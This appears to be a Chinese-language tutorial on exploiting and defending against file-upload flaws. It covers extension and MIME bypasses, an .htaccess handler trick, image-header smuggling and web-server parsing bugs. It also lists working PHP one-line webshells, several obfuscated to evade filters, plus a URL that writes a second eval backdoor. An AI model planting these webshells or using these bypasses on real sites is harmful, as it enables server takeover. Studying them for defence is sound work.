文件上传漏洞利用与防御

web站点经常会有上传头像等类似个性化设置功能,允许用户上传图片、视频等内容,这些功能点往往存在上传验证方式不严格的安全缺陷,这些安全缺陷在Web渗透中是非常关键的突破口,只要经过仔细测试分析上传验证机制,往往就能找到绕过验证的方法,进而上传恶意代码获取整个Web业务控制权,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权。

常见的检验内容如下:

  • 客户端检测(都可以通过抓包或者代理进行修改,所以不再分析)
  • 检测文件扩展名
  • 检测Content-Type内容 / MIME检测
  • 检测跟Path参数相关的内容
  • 检测跟文件extension相关的内容
  • 检测内容是否合法或含有恶意代码

接下来我们根据这些内容进行绕过分析:

以下如不特殊注明,均是服务器端的操作。

常见检测方法

检测文件扩展名

如果服务器检测扩展名是简单的根据后缀名,例如:

1
2
if filename.endswith('jpg'):
xxx

这样可以通过直接修改后缀即可,因为修改文件名并不会改变文件内容。

当然,一般不会这么简单,一般后台可能会有黑名单或者白名单进行过滤。常见的绕过方法如下:

  • 文件名大小写JpG、aSP
  • 使用黑名单里没有的名单进行攻击
  • 特殊文件名绕过
    文件名改为evil.jpg.或者evil.jpg_,文件名会被window自动去掉后面的点或者空格,需要注意此种方法仅对window有效,Unix/Linux系统没有这个特性。
  • 0x00截断

    1
    2
    3
    4
    Name = getname(http requests)//假如这一步获取到的文件名是evil.php .jpg
    Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件
    If(type == jpg)
    SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以evil.php存入路径里
  • 上传.htaccess文件攻击

    该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

    1
    2
    3
    <FilesMatch "_php.gif">
    SetHandler application/x-httpd-php
    </FilesMatch>

    保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有_php.gif字符串的,统一按照php文件来执行。该文件在Apache里默认是启用的,该方法比较常用。

MIME检测

同样,如果是根据POST数据包的Content-Type进行检测,同样可以修改报文的头绕过检测。

目录路径检测

上传的数据包中,如果存在path(或者其他名称)等能够操作上传路径的参数,例如:

1
2
3
4
5
6
例如
upfile/
可以尝试修改为:
upfile.asp/”或者“upfile/1.asp/”或者“upfile/1.asp;
满足IIS6.0解析漏洞

服务端文件内容检测

一些文件上传其会检测文件的标志性内容,比如图片JPG、PNG、GIF的一些标志等等:

  • JPG: FFD8 FFE0 0010 4A46 4946 00... => ...JFIF...
  • PNG: 89 50 4E 47 => .PNG
  • GIF: 4749 4638 3961 => GIF89a

具体图片内容解析,可以看我的这篇image文件格式解析

思路应该很清楚:

  1. 简单的拼接标识符

    1
    2
    3
    4
    GIF89a
    (...some binary data for image...)
    &lt;?php phpinfo(); ?&gt;
    (... skipping the rest of binary data ...)
  2. 构造符合图片规则的图片,其数据部分用恶意代码填充,其余部分保证图片格式的正确性(例如长度、结构头等),当服务器将其用php或其他语言解析时,触发恶意程序。类似思路在XSS中同样存在,我在这里详细写过方案,可以参考XSS-构造恶意图片 不过需要修改恶意代码内容

  3. 有时会有二次渲染的情况:

    即有时服务器会把你上传的图片进行处理后作为结果,例如某个后台的调用GD库二次渲染的代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function image_gd_open($file, $extension)
    {
    $extension = str_replace('jpg', 'jpeg', $extension);
    $open_func = 'imageCreateFrom'. $extension; //函数名变成 imageCreateFrompng 之类
    if (!function_exists($open_func))
    {
    return FALSE;
    }
    return $open_func($file); //变成 imagecreatefrompng('/tmp/php0lbTOn')
    }

    这种情况比较难以处理,如果知道二次渲染的方法,有时可以通过构造。还有就是攻击渲染器。

web server 漏洞利用

Apache解析漏洞

Apache某些版本存在 解析顺序漏洞, 即如果后缀不被apache识别,则其会向前缀方向查找,直到找到一个可被识别的类型:

1
2
3
4
例如:
evil.php.abc.qqq
由于.abc .qqq 不被识别,其会将其认为是.php类型

存在漏洞的版本:

1
2
3
4
5
6
WampServer2.0 All Version (WampServer2.0i / Apache 2.2.11) [Success]
WampServer2.1 All Version (WampServer2.1e-x32 / Apache 2.2.17) [Success]
Wamp5 All Version (Wamp5_1.7.4 / Apache 2.2.6) [Success]
AppServ 2.4 All Version (AppServ - 2.4.9 / Apache 2.0.59) [Success]
AppServ 2.5 All Version (AppServ - 2.5.10 / Apache 2.2.8) [Success]
AppServ 2.6 All Version (AppServ - 2.6.0 / Apache 2.2.8) [Success]

IIS解析漏洞

IIS6.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
文件类型
xxx.com/logo.jpg
=>
xxx.com/logo.asp;.jpg
文件就会被当成asp文件来处理
文件夹
xxx.com/image/logo.jpg
==>
xxx.com/image.asp/logo.jpg
文件就会被当成asp文件来处理,其中image.asp是文件夹名

IIS7.0/7.5

对php解析有类似Nginx的解析漏洞只要对任意文件名在url后面追加上字符串/任意文件名.php就会按照php去解析

Nginx解析漏洞

低版本有效

1
2
3
4
5
6
7
test.jpg
==>
test.jpg/x.php
任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi的漏洞,所以其实跟Nginx自身是无关的
test%.php都当作php来解析

文件名逻辑漏洞(CVE-2013-4547)
受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x

1
2
3
空格+\0.php
test.jpg \0.php

Windows相关文件名特性

  • 大小写不敏感
  • Windows下的文件和文件夹名字中,不会出现以下9个英文字符:

    1
    \ / : * ? " < > |

    0x00—0x1F 范围间的ascii字符不能出现在文件和文件夹名字中
    0x81—0xFE范围间的ascii字符不能出现在文件名字中,否则可能会报错
    但如果字符结合下一个字符生成一个多字节字符,就能正常创建一个文件了

    1
    2
    3
    test. + chr(0x81) + jsp,会生成"test.乯sp"文件
    test. + chr(0x81) + 3sp 就会报错
  • 会被去除的文件名最后一位字符,循环去除的’.’号和空格字符

    1
    2
    3
    4
    5
    6
    7
    8
    9
    "test.asp"
    "Test.asp"
    "TEST.ASP"
    "test.asp."
    "test.asp "
    "TEST.jpg ..."
    "test.asp:1.jpg.."
    "Test.jpg .. ... "
    "test.jpg .. .�" (乱码字符是ascii值为 0xC8 的不可打印字符)

常见一句话木马

1
2
3
4
5
6
7
<?php $_GET[a]($_GET[b]);?>
利用:
http://localhost:8081/test/a.php?a=assert&b=${fputs%28fopen%28base64\_decode%28Yy5waHA%3D%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
其内容为:
fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]); ?>1))

其他利用:

1
2
3
4
5
6
7
<?php ($_=@$_GET[2]).@$_($_POST[sz])?>
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?>
<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?>
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?>

常见防御方法

  • 检测的重点放在文件内容检测
  • 路径/扩展名检测一定要用白名单
  • 不能有本地文件包含漏洞
  • 随时注意更新Web应用软件